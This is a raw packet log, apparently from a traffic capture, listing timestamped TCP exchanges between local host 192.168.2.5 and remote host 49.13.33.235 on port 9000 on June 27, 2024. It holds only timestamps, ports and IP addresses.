Jun 27, 2024 06:44:38.770134926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770181894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770184994 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770227909 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770236015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770267963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770302057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770307064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770325899 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770334959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770344973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770369053 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770394087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770416975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770421028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770457983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770483017 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770497084 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770498991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770536900 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770550013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770582914 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.770592928 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.770634890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.776175976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.776240110 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780436039 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780472040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780535936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780543089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780543089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780570984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780602932 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780608892 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780611038 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780648947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780658007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780690908 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780723095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780723095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.780733109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.780771017 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794586897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794621944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794672966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794696093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794696093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794708014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794727087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794743061 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794745922 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794775963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794786930 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794811964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.794842958 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.794852018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.799613953 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799648046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799664021 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.799681902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799731970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799736977 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.799767017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799777031 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.799815893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799818993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.799851894 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.799904108 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.800575018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800607920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800640106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800654888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.800672054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800685883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.800704956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800709963 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.800738096 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800770044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.800798893 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.800810099 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807456970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807531118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807534933 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807580948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807615042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807624102 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807648897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807666063 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807682037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807697058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807714939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.807727098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.807822943 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.824867964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.824928045 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.824933052 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.824978113 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825005054 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825011969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825021982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825045109 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825057030 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825077057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825112104 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825125933 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825179100 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825340986 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825402975 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825448036 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825450897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825484991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825515985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825529099 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825548887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825582981 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.825588942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.825803041 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828360081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828412056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828443050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828444004 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828478098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828500986 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828519106 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828576088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828607082 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828651905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828655958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828672886 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828687906 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828696012 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828737974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828768969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828782082 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828803062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828814030 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828835964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828849077 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828870058 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828877926 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.828903913 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.828949928 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.833410978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.833461046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.833466053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.833518982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.833830118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.833884001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.833929062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.833961010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.833982944 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.833996058 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.834028006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.834043026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.834060907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.834069014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.834105015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838372946 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838406086 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838439941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838445902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838468075 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838478088 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838638067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838669062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838689089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838701963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838712931 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838737011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.838747978 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.838779926 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.848941088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.848973989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849006891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.849025965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849056959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849081039 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.849090099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849106073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.849123001 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849137068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.849157095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.849206924 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854667902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854696035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854729891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854744911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854752064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854779005 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854789972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854811907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854857922 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854860067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854892969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854924917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854926109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854955912 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854958057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.854964972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.854993105 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855040073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.855468988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855500937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855532885 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855546951 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.855571032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.855616093 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855648994 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.855703115 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.858860016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.858889103 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.858916998 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.858922005 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.858931065 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.858964920 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.858972073 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859006882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859051943 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859051943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859085083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859106064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859118938 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859133959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859164000 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859441996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859489918 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859491110 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859524965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859555960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859570980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859590054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859605074 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859637976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.859790087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.859870911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.860022068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869112968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869157076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869178057 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869208097 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869256020 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869257927 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869317055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869349003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869370937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869381905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869419098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869438887 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.869566917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.869647980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.883289099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883322001 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883352995 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.883353949 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883405924 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.883407116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883440018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883471966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883491039 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.883506060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.883553028 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888345957 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888394117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888395071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888443947 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888449907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888477087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888492107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888530016 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888535976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888569117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888576984 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888603926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888636112 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.888653040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.888676882 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.889282942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889332056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889365911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889396906 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889422894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.889431000 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889448881 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.889463902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889473915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.889497042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.889543056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896219015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896255016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896312952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896362066 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896373034 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896399975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896409035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896456003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896496058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896507025 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896507978 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896539927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.896545887 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.896611929 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913616896 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913669109 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913698912 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913717031 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913721085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913753033 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913760900 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913784981 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913810015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913819075 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913826942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913855076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913857937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913904905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913937092 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.913949966 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913980961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.913988113 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.914019108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.914051056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.914077997 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.914082050 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.914094925 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.914117098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.914128065 CEST	49757	9000	192.168.2.5	49.13.33.235
